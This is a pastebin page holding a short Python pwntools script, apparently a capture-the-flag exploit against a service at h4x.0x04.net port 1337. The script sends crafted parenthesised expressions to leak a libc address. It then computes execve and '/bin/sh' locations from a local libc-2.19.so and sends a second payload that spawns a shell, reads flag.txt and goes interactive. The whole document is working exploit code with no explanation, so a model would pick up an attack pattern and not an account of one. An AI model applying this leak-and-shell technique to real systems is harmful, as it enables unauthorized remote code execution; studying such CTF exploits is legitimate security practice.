Advertisement
Guest User

Untitled

a guest
Dec 17th, 2017
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.19 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. import pwn
  3. def unsign(address):
  4.     return int(address) if int(address) > 0 else int(address) + 2**32
  5. c = pwn.connect('h4x.0x04.net', 1337)
  6.  
  7. libc_hack = '(' * 31 + '+' + '((0+(((+' + 35 * ')'
  8. c.sendline(libc_hack)
  9. libc_adr = c.recvline()
  10. libc_adr = unsign(libc_adr)
  11.  
  12. libc_local_pwned = pwn.ELF('libc-2.19.so')
  13. libc_start_pos = libc_local_pwned.symbols['__libc_start_main']
  14. execve_pos = libc_local_pwned.symbols['execve']
  15. binsh_pos = list(libc_local_pwned.search('/bin/sh'))[0]
  16.  
  17. # Z serwera wyciągnęlismy adres libc_start_main przesunięty o 243
  18.  
  19. libc_server = libc_adr - 243 - libc_start_pos
  20. execve_server = libc_server + execve_pos
  21. binsh_server = libc_server + binsh_pos
  22. execve_server = unsign(execve_server)
  23. binsh_server = unsign(binsh_server)
  24.  
  25. shellhack = '(' * 31 + '+' + '(((+(((' + str(0) + ')' * 35 + '\n'
  26. shellhack += '(' * 31 + '+' + '(((+((' + str(0) + ')' * 34 + '\n'
  27. shellhack += '(' * 31 + '+' + '(((+(' + str(binsh_server) + ')' * 33 + '\n'
  28. shellhack += '(' * 31 + '+' + '(((+' + str(0) + ')' * 32 + '\n'
  29. shellhack += '(' * 31 + '+' + '(((' + str(execve_server) + ')' * 33 + '\n'
  30.  
  31. c.sendline(shellhack)
  32. c.sendline('cat flag.txt\n')
  33. c.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement